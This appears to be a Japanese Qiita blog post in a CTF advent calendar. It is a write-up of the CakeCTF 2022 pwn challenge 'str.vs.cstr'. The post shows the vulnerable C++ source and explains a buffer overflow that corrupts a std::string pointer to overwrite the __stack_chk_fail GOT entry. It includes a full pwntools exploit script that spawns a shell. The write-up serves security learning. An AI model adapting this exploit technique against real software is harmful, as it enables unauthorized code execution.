0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

1日1CTFAdvent Calendar 2024

Day 3

str.vs.cstr (CakeCTF 2022) WriteUp

Last updated at Posted at 2024-12-02

はじめに

この記事は 1日1CTF Advent Calendar 2024 の 3 日目の記事です。

問題

str.vs.cstr (問題出典: CakeCTF 2022)

Which do you like, C string or C++ string?

リポジトリ: https://github.com/theoremoon/cakectf2022-public/tree/master/pwn/str_vs_cstr

なお、AlpacaHack で過去問として解くこともできる。

問題概要

char[0x20] ( c_str ) と std::string ( str ) が配置された構造体 Test がある。2 つの文字列について任意の書き込み・読み込みが行えるので call_me 関数を呼び出せればクリア。

main.cpp
#include <array>
#include <iostream>

struct Test {
  Test() { std::fill(_c_str, _c_str + 0x20, 0); }
  char* c_str() { return _c_str; }
  std::string& str() { return _str; }

private:
  __attribute__((used))
  void call_me() {
    std::system("/bin/sh");
  }

  char _c_str[0x20];
  std::string _str;
};

int main() {
  Test test;

  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);

  std::cout << "1. set c_str" << std::endl
            << "2. get c_str" << std::endl
            << "3. set str" << std::endl
            << "4. get str" << std::endl;

  while (std::cin.good()) {
    int choice = 0;
    std::cout << "choice: ";
    std::cin >> choice;

    switch (choice) {
      case 1: // set c_str
        std::cout << "c_str: ";
        std::cin >> test.c_str();
        break;

      case 2: // get c_str
        std::cout << "c_str: " << test.c_str() << std::endl;
        break;

      case 3: // set str
        std::cout << "str: ";
        std::cin >> test.str();
        break;

      case 4: // get str
        std::cout << "str: " << test.str() << std::endl;
        break;

      default: // otherwise exit
        std::cout << "bye!" << std::endl;
        return 0;
    }
  }
  
  return 1;
}

PIE が無効、しかも Partial RELRO で嬉しい。

checksec.txt
Canary    : Enabled
NX        : Enabled
PIE       : Disabled (0x400000)
RELRO     : Partial RELRO
Fortify   : Not found

考察

ptr-yudai さんの記事 によれば、std::string の構造は次のようになっているらしい。

+00h: <データへのポインタ>
+08h: <データのサイズ>
+10h: <データ領域の容量>あるいは<データ本体+0h>
+18h: <未使用>あるいは<データ本体+8h>

これを踏まえ、c_strAAAAAAAA を、 strBBBBBBBB を書き込んだときの stack の様子を見てみよう。

image.png

c_str の書き込み時に、バッファオーバーフローを起こすことで、str のデータへのポインタを破壊できそう。

あとは、str のデータへのポインタを __stack_chk_fail の GOT のアドレスに書き換えて、その状態で strcall_me のアドレスを書き込めば、__stack_chk_fail の GOT を call_me にできる。

あとはもう一度バッファオーバーフローでカナリアを破壊した後に適当に関数を抜ければ、__stack_chk_fail の代わりに call_me を呼び出せる… と思ったが、__stack_chk_fail が呼び出される前にプログラムが落ちてしまった。

デバッグして原因を調べると、Test のデストラクタが呼ばれる際、 str のデータへのポインタに対して free() が呼び出されてしまっていた。しょうがないので最後に str のデータへのポインタを null にしてあげると OK 。

solver

solve.py
from pwn import *
import sys

################################################
# context.log_level = "DEBUG"
FILENAME = "./chall"
LIBCNAME = ""
host = "localhost"
port = 1337
################################################

context(os="linux", arch="amd64")
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME != "" else None

if len(sys.argv) > 1:
    if sys.argv[1][0] == "d":
        cmd = """
        set follow-fork-mode parent
        """
        io = gdb.debug(FILENAME, cmd)
    elif sys.argv[1][0] == "r":
        io = remote(host, port)
else:
    io = process(FILENAME)


io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0x404058))  # str のデータのポインタを __stack_chk_fail の GOT に書き換える

io.recvuntil(b"choice: ")
io.sendline(b"3")
io.recvuntil(b"str: ")
io.sendline(p64(0x4016DE))  #  __stack_chk_fail の GOT に call_me のアドレスを書き込む

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0) + b"A" * 0x40)  # str のデータのポインタを null に + canary を破壊

io.recvuntil(b"choice: ")
io.sendline(b"-1")  # return 0 させるためなので何でもいい

io.interactive()

flag: CakeCTF{HW1: Remove "call_me" and solve it / HW2: Set PIE+RELRO and solve it}

フラグに宿題が書いてあった。ということで、明日の記事に続く。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?